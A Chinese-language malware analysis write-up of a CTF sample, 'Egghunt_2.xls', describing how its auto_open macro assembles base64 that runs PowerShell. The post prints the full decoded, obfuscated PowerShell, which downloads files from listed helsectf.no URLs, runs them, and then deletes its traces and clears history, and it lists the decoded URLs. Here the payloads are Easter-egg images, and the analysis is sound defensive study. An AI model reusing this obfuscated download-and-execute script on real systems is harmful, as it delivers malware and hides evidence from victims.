Egghunt_2.xls恶意宏文档分析【复活节彩蛋】

翻出了之前未看的样本,从app.any.run下载的,非PE类样本,简单分析了下。

Egghunt_2.xls恶意宏文档分析【复活节彩蛋】

分析后得知属于恶意宏样本,点击允许后会执行auto_open函数,存在大量的混淆代码阻止分析,在调试后发现会拼接base64内容然后最终执行powershell命令,因此可以通过将变量值写入文件的方式来获取最终的命令,也可以在启用powershell执行日志记录的系统上获取(宏编辑窗口显示的变量值长度有限无法完全获取)。

该处代码来源于网络:

MyFName = ThisWorkbook.Path & "/" & nowDate & ".txt"

Set fso = CreateObject("Scripting.FileSystemObject")

Set myTxt = fso.CreateTextFile(Filename:=MyFName, OverWrite:=True)

myTxt.Write zX_jkWQ

myTxt.Close

打开文档后来源宏编辑界面

Egghunt_2.xls恶意宏文档分析【复活节彩蛋】

提取到本地的powershell代码如下:

Egghunt_2.xls恶意宏文档分析【复活节彩蛋】

将其base64解码后得到如下经过混淆的powershell代码

$jFqToXuyM = $sW2kT5Ae + $0tZF2Fvnjp;$tCkNj4v = ('1hnreuidnbgj1hnreuidnbgj1hnreuidnbgj1').replace("hnreuidnbgj",".").replace([string][char]61,"roflo.com");$FeXCWN6EqCjxnfayR = $ZAJOmN6QcICG2Yz + $ffAR2bqVuA4;$JNst39kvpN = $a6JW4XP7E + $yuM99CW;sV  ('0') ([tyPe]("{4}{2}{1}{0}{3}" -f 'cTo','O.DIre','Em.I','Ry','SysT'));$TqR7Vj = $b3N60 + $PAmB5;$ffAR2bq = (('ht'+('Lit)(oTt')+''+'tps:q_x=q'+('Lit)('+'oTt')+''+'q_x=qhe'+'ls'+('L'+'it)(oTt')+'ec'+('Lit)('+'oTt')+'t'+'f.no'+(''+'Lit)(o'+'Tt')+'q_x=qb'+('L'+'it)(o'+'Tt')+'i'+'ld'+('Lit)(oTt')+'er'+('L'+'it)(o'+'Tt')+'q_x=q1'+('L'+'it)('+'oTt')+'_4a'+'e08e'+('Lit)(oTt')+'7'+'403c'+('Lit)(oTt')+'b71'+'01'+(''+'Lit)(oTt')+''+'2f'+('L'+'it)(o'+'Tt')+'74'+'08d'+('Lit)('+'oTt')+'6'+'cd1f'+('Lit)(oTt')+'d'+'21'+'9.j'+(''+'Lit)('+'oTt')+'p'+(''+'Lit)(oTt')+'g'+('L'+'it)(oTt')+'@'+'htt'+'ps:'+(''+'Lit)('+'oTt')+'q_x=q'+(''+'Lit)(oTt')+''+'q_x=qhel'+('Lit)(o'+'Tt')+'se'+'ct'+(''+'Lit)(o'+'Tt')+''+'f.n'+('L'+'it)(o'+'Tt')+'o'+'q_x=qb'+('Lit)(o'+'Tt')+'il'+(''+'Lit)(oTt')+''+'der'+'q_x=q2_5'+('Lit)('+'oTt')+'e7'+'e601'+('Lit)(oTt')+'7f'+'cf9c'+('L'+'it)('+'oTt')+'9b'+(''+'Lit)('+'oTt')+'c'+'082d'+('L'+'it)(o'+'Tt')+''+'6033'+'603'+('Lit)(o'+'Tt')+''+'7c'+('Lit)(oTt')+''+'0c8.j'+('L'+'it)(o'+'Tt')+'p'+('Lit)(oTt')+'g@'+'ht'+'tps'+('Lit)(oTt')+':'+'q_x=qq_x=qhe'+('Lit)('+'oTt')+'ls'+'ectf'+('Lit)('+'oTt')+''+'.noq_x=q'+('Lit)(oTt')+'b'+'ild'+'er'+('Lit)(o'+'Tt')+'q_x=q3_'+'4b'+('Lit)('+'oTt')+'4'+('Lit)(o'+'Tt')+'2'+('L'+'it)('+'oTt')+''+'d76'+('L'+'it)(o'+'Tt')+'3f'+('Lit)('+'oTt')+'8c'+'b6de'+('L'+'it)('+'oTt')+''+'e95'+('Lit)(o'+'Tt')+'5'+'21'+('Lit)('+'oTt')+'e'+'df'+'57'+('Lit)('+'oTt')+''+'8f'+('Lit)(oTt')+''+'90a'+'2.jp'+('L'+'it)('+'oTt')+''+'g@h'+(''+'Lit)(oTt')+'tt'+'ps'+(''+'Lit)(oTt')+':q_x=q'+'q_x=qhe'+('Lit)(o'+'Tt')+'l'+('Lit)(oTt')+''+'sectf'+('L'+'it)(o'+'Tt')+''+'.noq_x=q'+'bi'+('L'+'it)(oTt')+'ld'+'erq_x=q4'+('Lit)(o'+'Tt')+''+'_f'+('L'+'it)(o'+'Tt')+'8'+('Lit)(oTt')+''+'3e0'+('Lit)(o'+'Tt')+'d'+'28'+'744'+('Lit)(o'+'Tt')+'f'+'7ae'+('Lit)(o'+'Tt')+'f6db'+('Lit)(oTt')+''+'e0f'+('Lit)(oTt')+''+'04'+('L'+'it)('+'oTt')+'e0'+'2ee'+('Lit)('+'oTt')+'f'+'9e'+'.jp'+(''+'Lit)('+'oTt')+''+'g@'+('Lit)(oTt')+'h'+'ttp'+'s:q_x=q'+('L'+'it)(oTt')+''+'q_x=qhe'+(''+'Lit)(oTt')+'l'+'se'+('Lit)(o'+'Tt')+'ctf'+'.n'+('L'+'it)('+'oTt')+'oq_x=qb'+(''+'Lit)(oTt')+''+'ild'+('Lit)(o'+'Tt')+'er'+'q_x=q5'+('L'+'it)('+'oTt')+'_f'+'cd'+('Lit)('+'oTt')+'95c'+('L'+'it)(oTt')+'2'+('Lit)(o'+'Tt')+''+'ede40'+'50'+(''+'Lit)('+'oTt')+'5'+(''+'Lit)('+'oTt')+'9'+'c92d'+(''+'Lit)(oTt')+'3d'+'47'+'c8b'+(''+'Lit)('+'oTt')+'3'+('Lit)(oTt')+'4'+('L'+'it)(o'+'Tt')+'f'+'a3'+'.j'+('Lit)(o'+'Tt')+'pg')."r`eP`La`CE"('Lit)(oTt',$REIUBkn)-ReplacE('q_x=q',[stRiNg][chaR]47));Sv  ('gnrejfnjlke') ([tyPe]("{4}{2}{1}{0}{3}" -f 'l','O.Fi','Em.I','e','SysT'));$tNbmGi4GJ = $KMoZRPzqK + $ffAR2bqBzaeQdxzmq3Na;$c2VITwz = $A9SH2uPeZ + $avG4e;$FeXCWN6EqC = (($HOME +("QImkkGegXVXAIlqCUJoSPqCiIlqCqlN8LCu8IlqC8QjPWo06IlqC"[-1..-52] -join '') ).replace( "CqlI",[string][char]92));$SYHAzd=$FeXCWN6EqC+'.txt';$ffAR2bqBzaeabSI1kf=("fhh;!pcgvtdufJuUjmZpvNlfJu").replace($Jkhqb,$DYUDWEqub);$Dvd87jX=$SYHAzd;foreach ($B683Y in [char[]]$ffAR2bqBzaeabSI1kf){$jL7HF5Z0=$jL7HF5Z0+([char]([int][char]$B683Y - 1 )) };$a6TzL=$Y67As+$SYHAzd+$Dvd87jX;$Ct21C=$Dvd87jX;$LnbOaMkYR = $qLmn44MK + $ZTvvkVl0;$ZAJOmN6QcI = $FeXCWN6EqC+"6.jpg";$mcfzpAhbe1B = $TjlHhVKjI + $q4xCg6VfC;if(Test-Connection -Quiet $tCkNj4v) {$0::"createdirectory"( $FeXCWN6EqC);try{foreach ($cf4WJZye in $ffAR2bq.replace('grammarly','.exe').split([char]64).split([char]124).replace($cf4WJZyeeK5niVjcR,$osZZCtevl)){if($gnrejfnjlke::Exists($ZAJOmN6QcI)){break}Invoke-WebRequest -Uri $cf4WJZye -OutFile $ZAJOmN6QcI}start $ZAJOmN6QcI;New-Item $Ct21C;Set-Content $Dvd87jX $jL7HF5Z0;Start-Sleep -s 1;Remove-item -recurse -path  ($Home+""+$FeXCWN6EqC.replace($Home+"",$ffAR2bqBzae).split([string][char]92)[0]);}catch{clear-history;echo "Do or do not, there is no try."};clear-history;}else{Add-Type -AssemblyName 'PresentationFramework';[System.Windows.MessageBox]::Show("No internjets?");clear-history;}$yNqIGDEg8 = $WvNaHXTvWeu4 + $Oqc4UjPs;$wJ8gDAL = $m2eqCCOnG + $mBuM4b;

利用之前设置的VS的powershell调试环境来调试这段脚本代码,得到如下的url地址:

https://helsectf.no/bilder/1_4ae08e7403cb71012f7408d6cd1fd219.jpg

https://helsectf.no/bilder/2_5e7e6017fcf9c9bc082d60336037c0c8.jpg

https://helsectf.no/bilder/3_4b42d763f8cb6dee95521edf578f90a2.jpg

https://helsectf.no/bilder/4_f83e0d28744f7aef6dbe0f04e02eef9e.jpg

https://helsectf.no/bilder/5_fcd95c2ede405059c92d3d47c8b34fa3.jpg

将url地址文件下载到本地后会打开,因为属于复活节彩蛋所以下载的文件内容为图片。

Egghunt_2.xls恶意宏文档分析【复活节彩蛋】

Egghunt_2.xls恶意宏文档分析【复活节彩蛋】

之后powershell脚本会删除下载的目录文件

Egghunt_2.xls恶意宏文档分析【复活节彩蛋】

样本

b5285e950d97109198aafd3565d42940

原文始发于微信公众号(OnionSec):Egghunt_2.xls恶意宏文档分析【复活节彩蛋】

版权声明:admin 发表于 2022年12月27日 下午5:50。
转载请注明:Egghunt_2.xls恶意宏文档分析【复活节彩蛋】 | CTF导航

相关文章

暂无评论

暂无评论...